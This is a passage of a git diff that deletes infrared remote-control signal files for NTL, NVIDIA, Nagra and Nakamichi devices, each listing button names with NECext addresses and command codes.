-command: 35 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: FUNCTION_LEVEL_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 59 00 00 00 -# -name: FUNCTION_LEVEL_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir deleted file mode 100644 index a51ae1bba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0E 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: Browse -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: Interactive -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir deleted file mode 100644 index 1161de4e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVR-TV -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 00 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 01 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 02 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 04 00 00 00 -# -name: TV-VIDEO -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 05 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 06 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 08 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 09 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 10 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 11 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 15 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 17 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 18 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir deleted file mode 100644 index 3a756387b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: opcoes -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: upup -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: sel -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: sair -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: downdown -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: sinopse -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: hbo -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: ultimo -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: guiatv -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: ajuda -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: ppv -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: portaltva -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir deleted file mode 100644 index 43d6b6043..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir +++ /dev/null @@ -1,494 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE1_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 14 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 15 00 00 00 -# -name: TAPE1_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 17 00 00 00 -# -name: [1]_TUNER_1-9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: [1]_TUNER_2-10 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 19 00 00 00 -# -name: [1]_TUNER_3-11 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1A 00 00 00 -# -name: [1]_TUNER_4-12 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1B 00 00 00 -# -name: [1]_TUNER_5-13 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: [1]_TUNER_6-14 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1D 00 00 00 -# -name: [1]_TUNER_7-15 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1E 00 00 00 -# -name: [1]_TUNER_8-16 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1F 00 00 00 -# -name: [1]_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: [1]_MUTE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: [1]_VOLUME_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 42 00 00 00 -# -name: [1]_VOLUME_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 43 00 00 00 -# -name: [1]_PHONO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 44 00 00 00 -# -name: [1]_CD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 45 00 00 00 -# -name: [1]_TUNER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 46 00 00 00 -# -name: [1]_AUX1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 47 00 00 00 -# -name: [1]_AUX2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 48 00 00 00 -# -name: [1]_TAPE1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: [1]_TAPE2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4A 00 00 00 -# -name: [1]_CD_SCAN_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4C 00 00 00 -# -name: [1]_CD_SCAN_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4D 00 00 00 -# -name: [1]_CD_SKIP_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4E 00 00 00 -# -name: [1]_CD_SKIP_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4F 00 00 00 -# -name: [1]_CD_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: [1]_CD_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 51 00 00 00 -# -name: [1]_CD_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: TAPE1_FFWD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 54 00 00 00 -# -name: TAPE1_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 55 00 00 00 -# -name: TAPE1_CUE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 56 00 00 00 -# -name: TAPE1_R.PLAY_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 58 00 00 00 -# -name: TAPE1_AZIMUTH_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 59 00 00 00 -# -name: TAPE1_AZIMUTH_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5A 00 00 00 -# -name: [1]_TUNER_SHIFT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5B 00 00 00 -# -name: [1]_TUNER_FM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5C 00 00 00 -# -name: [1]_TUNER_AM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5D 00 00 00 -# -name: [1]_TUNER_SEEK_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5E 00 00 00 -# -name: [1]_TUNER_SEEK_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5F 00 00 00 -# -name: TAPE2_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: TAPE2_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 95 00 00 00 -# -name: TAPE2_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 00 00 -# -name: TAPE2_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 97 00 00 00 -# -name: [2]_TUNER_1-9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 98 00 00 00 -# -name: [2]_TUNER_2-10 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 99 00 00 00 -# -name: [2]_TUNER_3-11 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9A 00 00 00 -# -name: [2]_TUNER_4-12 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9B 00 00 00 -# -name: [2]_TUNER_5-13 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9C 00 00 00 -# -name: [2]_TUNER_6-14 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9D 00 00 00 -# -name: [2]_TUNER_7-15 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9E 00 00 00 -# -name: [2]_TUNER_8-16 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 9F 00 00 00 -# -name: [2]_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C0 00 00 00 -# -name: [2]_MUTE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C1 00 00 00 -# -name: [2]_VOLUME_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C2 00 00 00 -# -name: [2]_VOLUME_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C3 00 00 00 -# -name: [2]_PHONO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C4 00 00 00 -# -name: [2]_CD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C5 00 00 00 -# -name: [2]_TUNER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C6 00 00 00 -# -name: [2]_AUX1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C7 00 00 00 -# -name: [2]_AUX2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C8 00 00 00 -# -name: [2]_TAPE1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: C9 00 00 00 -# -name: [2]_TAPE2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CA 00 00 00 -# -name: [2]_CD_SCAN_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CC 00 00 00 -# -name: [2]_CD_SCAN_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CD 00 00 00 -# -name: [2]_CD_SKIP_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CE 00 00 00 -# -name: [2]_CD_SKIP_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: CF 00 00 00 -# -name: [2]_CD_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D0 00 00 00 -# -name: [2]_CD_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D1 00 00 00 -# -name: [2]_CD_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D2 00 00 00 -# -name: TAPE2_FFWD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D4 00 00 00 -# -name: TAPE2_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D5 00 00 00 -# -name: TAPE2_CUE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D6 00 00 00 -# -name: TAPE2_R.PLAY_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D8 00 00 00 -# -name: TAPE2_AZIMUTH_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: D9 00 00 00 -# -name: TAPE2_AZIMUTH_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DA 00 00 00 -# -name: [2]_TUNER_SHIFT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DB 00 00 00 -# -name: [2]_TUNER_FM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DC 00 00 00 -# -name: [2]_TUNER_AM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DD 00 00 00 -# -name: [2]_TUNER_SEEK_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DE 00 00 00 -# -name: [2]_TUNER_SEEK_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir deleted file mode 100644 index 7017b711f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir +++ /dev/null @@ -1,704 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: F.FWD_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 14 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 15 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 16 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 17 00 00 00 -# -name: F.SKIP_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 18 00 00 00 -# -name: R.SKIP_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 19 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 1A 00 00 00 -# -name: 1_DISC_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 80 00 00 00 -# -name: DISC_NO_1 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 80 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 80 00 00 00 -# -name: 2_DISC_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 81 00 00 00 -# -name: DISC_NO_2 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 81 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 81 00 00 00 -# -name: 3_DISC_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 82 00 00 00 -# -name: DISC_NO_3 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 82 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 82 00 00 00 -# -name: 4_DISC_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 83 00 00 00 -# -name: DISC_NO_4 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 83 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 83 00 00 00 -# -name: 5_DISC_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 84 00 00 00 -# -name: DISC_NO_5 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 84 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 84 00 00 00 -# -name: 6_DISC_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 85 00 00 00 -# -name: DISC_NO_6 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 85 00 00 00 -# -name: DISC_NO_7 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 86 00 00 00 -# -name: T._DATA -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8E 00 00 00 -# -name: T.DATA -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8E 00 00 00 -# -name: DISC_^ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8F 00 00 00 -# -name: Z_-_DISC_SKIP_(_+_) -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8F 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8F 00 00 00 -# -name: DISC_V -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 90 00 00 00 -# -name: Z_-_DISC_SKIP_(_-_) -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 90 00 00 00 -# -name: DISC_SCAN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 93 00 00 00 -# -name: DISCSCAN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 93 00 00 00 -# -name: SINGLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 9A 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 9B 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C0 00 00 00 -# -name: TIME/T.EDIT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C0 00 00 00 -# -name: REVERSE_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: SEARCH_REV_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: REVERSE_SKIP_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: SKIP_REV_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: SKIP_REV_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: SKIP_<<_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: SKIP_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: Z_-_TRACK_(_-_) -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: MEMORY_CLEAR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C3 00 00 00 -# -name: MEM./DEL._CLEAR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C3 00 00 00 -# -name: M._CLEAR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C3 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C4 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C5 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C5 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C6 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C6 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: SEARCH_FWD_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: FORWARD_SKIP_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: SKIP_FF_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: SKIP_>_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: SKIP_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: Z_-_TRACK_(_+_) -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C9 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CA 00 00 00 -# -name: M._CALL -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CA 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CB 00 00 00 -# -name: Z_-_PAUSE -type: parsed 